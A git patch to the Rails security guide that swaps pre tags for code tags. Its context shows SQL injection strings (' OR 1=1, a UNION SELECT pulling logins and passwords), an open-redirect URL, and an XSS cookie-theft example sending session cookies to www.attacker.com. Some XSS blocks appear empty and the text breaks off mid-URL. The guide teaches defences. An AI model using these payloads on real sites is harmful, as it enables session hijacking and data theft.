From 1108bd7fe9b7a474b244dead8944a4b0d34fba89 Mon Sep 17 00:00:00 2001 From: Xavier Noria Date: Sat, 28 Feb 2009 17:07:04 +0100 Subject: in security guide, substitutes pre tags with appropriate custom code tags --- railties/guides/source/security.textile | 150 ++++++++++++++++---------------- 1 file changed, 75 insertions(+), 75 deletions(-) diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 6b84ca1965..5797eb888b 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -91,12 +91,12 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb: -
+
 config.action_controller.session = {
   :key    => '_app_session',
   :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
 }
-
+ There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. @@ -211,9 +211,9 @@ If your web application is RESTful, you might be used to additional HTTP verbs, _(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action. -
+
 verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
-
+ With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application. @@ -264,9 +264,9 @@ end This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: -
+
 http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
-
+ If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_. @@ -424,10 +424,10 @@ There are some authorization and authentication plug-ins for Rails available. A Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): -
+
 http://localhost:3006/user/activate
 http://localhost:3006/user/activate?id=
-
+ This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: @@ -437,9 +437,9 @@ User.find_by_activation_code(params[:id]) If the parameter was nil, the resulting SQL query will be -
+
 SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
-
+ And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. @@ -534,9 +534,9 @@ end This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems: -
+
 file.txt%0A
-
+ Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: @@ -599,9 +599,9 @@ Project.find(:all, :conditions => "name = '#{params[:name]}'") This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be: -
+
 SELECT * FROM projects WHERE name = '' OR 1 --'
-
+ The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. @@ -615,9 +615,9 @@ User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: -
+
 SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-
+ This will simply find the first record in the database, and grants access to this user. @@ -631,16 +631,16 @@ Project.find(:all, :conditions => "name = '#{params[:name]}'") And now let's inject another query using the UNION statement: -
+
 ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-
+ This will result in the following SQL query: -
+
 SELECT * FROM projects WHERE (name = '') UNION
   SELECT id,login AS name,password AS description,1,1,1 FROM users --')
-
+ The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. @@ -686,36 +686,36 @@ The most common XSS language is of course the most popular client-side scripting Here is the most straightforward test to check for XSS: -
+
 
-
+ This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: -
+
 
 
-
+
 
 h6. Cookie theft
 
 These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
 
-
+
 
-

+
 
 For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
 
-
+
 
-

+
 
 The log files on www.attacker.com will read like this:
 
-
+
 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-

+
 
 You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
 
@@ -723,9 +723,9 @@ h6. Defacement
 
 With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
 
-
+
 
-

+
 
 This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an "actual attack":http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
 
@@ -733,10 +733,10 @@ A more specialized attack could overlap the entire web site or display a login f
 
 Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
 
-
+
 http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->